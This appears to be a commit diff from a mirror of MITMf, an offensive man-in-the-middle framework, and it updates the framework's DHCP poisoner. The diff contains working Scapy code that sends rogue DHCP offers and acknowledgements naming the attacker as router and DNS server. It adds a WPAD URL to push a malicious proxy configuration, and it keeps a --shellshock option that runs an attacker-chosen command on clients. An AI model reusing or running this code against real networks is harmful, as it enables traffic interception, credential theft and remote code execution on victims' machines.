mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 21:42:17 -07:00
DHCP poisoner now takes into account the requested IP of clients WPAD server address
Specifying interface is now optional
This commit is contained in:
parent
87bca5e7dd
commit
8270f337ad
6 changed files with 48 additions and 48 deletions
|
@ -123,12 +123,6 @@
|
|||
# Plugin configuration starts here
|
||||
#
|
||||
|
||||
[Spoof]
|
||||
|
||||
[[DHCP]]
|
||||
ip_pool = 192.168.1.10-50
|
||||
subnet = 255.255.255.0
|
||||
|
||||
[Replace]
|
||||
|
||||
[[Regex1]]
|
||||
|
|
|
@ -201,7 +201,7 @@ class ARE_Rules(object):
|
|||
with open(rule_path, 'r') as rule:
|
||||
payload = rule.read()
|
||||
r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers)
|
||||
return r.text #currently the returned object can't be serialized to JSON
|
||||
return r.json()
|
||||
|
||||
def trigger(self, rule_id):
|
||||
r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token))
|
||||
|
|
|
@ -21,7 +21,7 @@ import threading
|
|||
import binascii
|
||||
import random
|
||||
|
||||
from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError
|
||||
from netaddr import IPAddress, IPNetwork
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
|
||||
|
@ -30,20 +30,20 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
|
|||
|
||||
class DHCPpoisoner():
|
||||
|
||||
def __init__(self, options, dhcpcfg):
|
||||
def __init__(self, options):
|
||||
self.interface = options.interface
|
||||
self.ip_address = options.ip
|
||||
self.mac_address = options.mac
|
||||
self.shellshock = options.shellshock
|
||||
self.netmask = options.netmask
|
||||
self.debug = False
|
||||
self.dhcpcfg = dhcpcfg
|
||||
self.dhcp_dic = {}
|
||||
|
||||
log.debug("interface => {}".format(self.interface))
|
||||
log.debug("ip => {}".format(self.ip_address))
|
||||
log.debug("mac => {}".format(self.mac_address))
|
||||
log.debug("netmask => {}".format(self.netmask))
|
||||
log.debug("shellshock => {}".format(self.shellshock))
|
||||
log.debug("dhcpcfg => {}".format(self.dhcpcfg))
|
||||
|
||||
def start(self):
|
||||
self.s2 = conf.L2socket(iface=self.interface)
|
||||
|
@ -62,30 +62,24 @@ class DHCPpoisoner():
|
|||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning: {}".format(e))
|
||||
|
||||
def dhcp_rand_ip(self):
|
||||
pool = self.dhcpcfg['ip_pool']
|
||||
def get_client_ip(self, xid, dhcp_options):
|
||||
try:
|
||||
if '/' in pool:
|
||||
ips = list(IPNetwork(pool))
|
||||
return str(random.choice(ips))
|
||||
field_name, req_addr = dhcp_options[2]
|
||||
if field_name == 'requested_addr':
|
||||
return 'requested', req_addr
|
||||
|
||||
elif '-' in pool:
|
||||
start_addr = IPAddress(pool.split('-')[0])
|
||||
try:
|
||||
end_addr = IPAddress(pool.split('-')[1])
|
||||
ips = list(IPRange(start_addr, end_addr))
|
||||
except AddrFormatError:
|
||||
end_addr = list(start_addr.words)
|
||||
end_addr[-1] = pool.split('-')[1]
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
for field in dhcp_options:
|
||||
if (field is tuple) and (field[0] == 'requested_addr'):
|
||||
return field[1]
|
||||
|
||||
end_addr = IPAddress('.'.join(map(str, end_addr)))
|
||||
ips = list(IPRange(start_addr, end_addr))
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
return 'stored', client_ip
|
||||
|
||||
return str(random.choice(ips))
|
||||
|
||||
log.error('Specified invalid CIDR/Network range in DHCP pool option')
|
||||
except AddrFormatError:
|
||||
log.error('Specified invalid CIDR/Network range in DHCP pool option')
|
||||
net = IPNetwork(self.ip_address + '/24')
|
||||
return 'generated', random.choice(list(net))
|
||||
|
||||
def dhcp_callback(self, resp):
|
||||
if resp.haslayer(DHCP):
|
||||
|
@ -94,15 +88,12 @@ class DHCPpoisoner():
|
|||
mac_addr = resp[Ether].src
|
||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
else:
|
||||
client_ip = self.dhcp_rand_ip()
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
|
||||
if resp[DHCP].options[0][1] == 1:
|
||||
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Sending DHCP OFFER")
|
||||
method, client_ip = self.get_client_ip(xid, resp[DHCP].options)
|
||||
if method == 'requested':
|
||||
log.info("Got DHCP DISCOVER from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid)))
|
||||
else:
|
||||
log.info("Got DHCP DISCOVER from: {} xid: {}".format(mac_addr, hex(xid)))
|
||||
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
|
@ -110,19 +101,25 @@ class DHCPpoisoner():
|
|||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "offer"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('subnet_mask', self.netmask),
|
||||
('router', self.ip_address),
|
||||
('name_server', self.ip_address),
|
||||
('dns_server', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240),
|
||||
(252, 'http://{}/wpad.dat\\n'.format(self.ip_address)),
|
||||
"end"]))
|
||||
|
||||
log.info("Sending DHCP OFFER")
|
||||
self.s2.send(packet)
|
||||
|
||||
if resp[DHCP].options[0][1] == 3:
|
||||
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
method, client_ip = self.get_client_ip(xid, resp[DHCP].options)
|
||||
if method == 'requested':
|
||||
log.info("Got DHCP REQUEST from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid)))
|
||||
else:
|
||||
log.info("Got DHCP REQUEST from: {} xid: {}".format(mac_addr, hex(xid)))
|
||||
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
|
@ -130,13 +127,14 @@ class DHCPpoisoner():
|
|||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "ack"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('subnet_mask', self.netmask),
|
||||
('router', self.ip_address),
|
||||
('name_server', self.ip_address),
|
||||
('dns_server', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240)]))
|
||||
('rebinding_time', 138240),
|
||||
(252, 'http://{}/wpad.dat\\n'.format(self.ip_address))]))
|
||||
|
||||
if self.shellshock:
|
||||
log.info("Sending DHCP ACK with shellshock payload")
|
||||
|
|
|
@ -24,7 +24,7 @@ import sys
|
|||
from commands import getstatusoutput
|
||||
from core.logger import logger
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
from scapy.all import get_if_addr, get_if_hwaddr, get_working_if
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Utils", formatter)
|
||||
|
@ -45,6 +45,11 @@ def set_ip_forwarding(value):
|
|||
file.write(str(value))
|
||||
file.close()
|
||||
|
||||
def get_iface():
|
||||
iface = get_working_if()
|
||||
log.debug("Interface {} seems to be up and running")
|
||||
return iface
|
||||
|
||||
def get_ip(interface):
|
||||
try:
|
||||
ip_address = get_if_addr(interface)
|
||||
|
|
8
mitmf.py
8
mitmf.py
|
@ -46,13 +46,13 @@ if os.geteuid() != 0:
|
|||
|
||||
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
|
||||
version="{} - '{}'".format(mitmf_version, mitmf_codename),
|
||||
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
|
||||
usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]',
|
||||
epilog="Use wisely, young Padawan.")
|
||||
|
||||
#add MITMf options
|
||||
sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
||||
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
|
||||
sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on")
|
||||
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
|
||||
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
|
||||
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
|
||||
|
@ -73,7 +73,9 @@ options = parser.parse_args()
|
|||
logger().log_level = logging.__dict__[options.log_level.upper()]
|
||||
|
||||
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
|
||||
from core.utils import get_ip, get_mac, shutdown
|
||||
from core.utils import get_iface, get_ip, get_mac, shutdown
|
||||
if not options.interface:
|
||||
options.interface = get_iface()
|
||||
options.ip = get_ip(options.interface)
|
||||
options.mac = get_mac(options.interface)
|
||||
|
||||
|
|
|
@ -49,7 +49,7 @@ class Spoof(Plugin):
|
|||
if options.targets:
|
||||
shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
|
||||
|
||||
dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
|
||||
dhcp = DHCPpoisoner(options)
|
||||
dhcp.debug = debug
|
||||
self.tree_info.append('DHCP spoofing enabled')
|
||||
self.protocol_instances.append(dhcp)
|
||||
|
@ -92,6 +92,7 @@ class Spoof(Plugin):
|
|||
group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
|
||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
|
||||
options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
|
||||
options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network')
|
||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue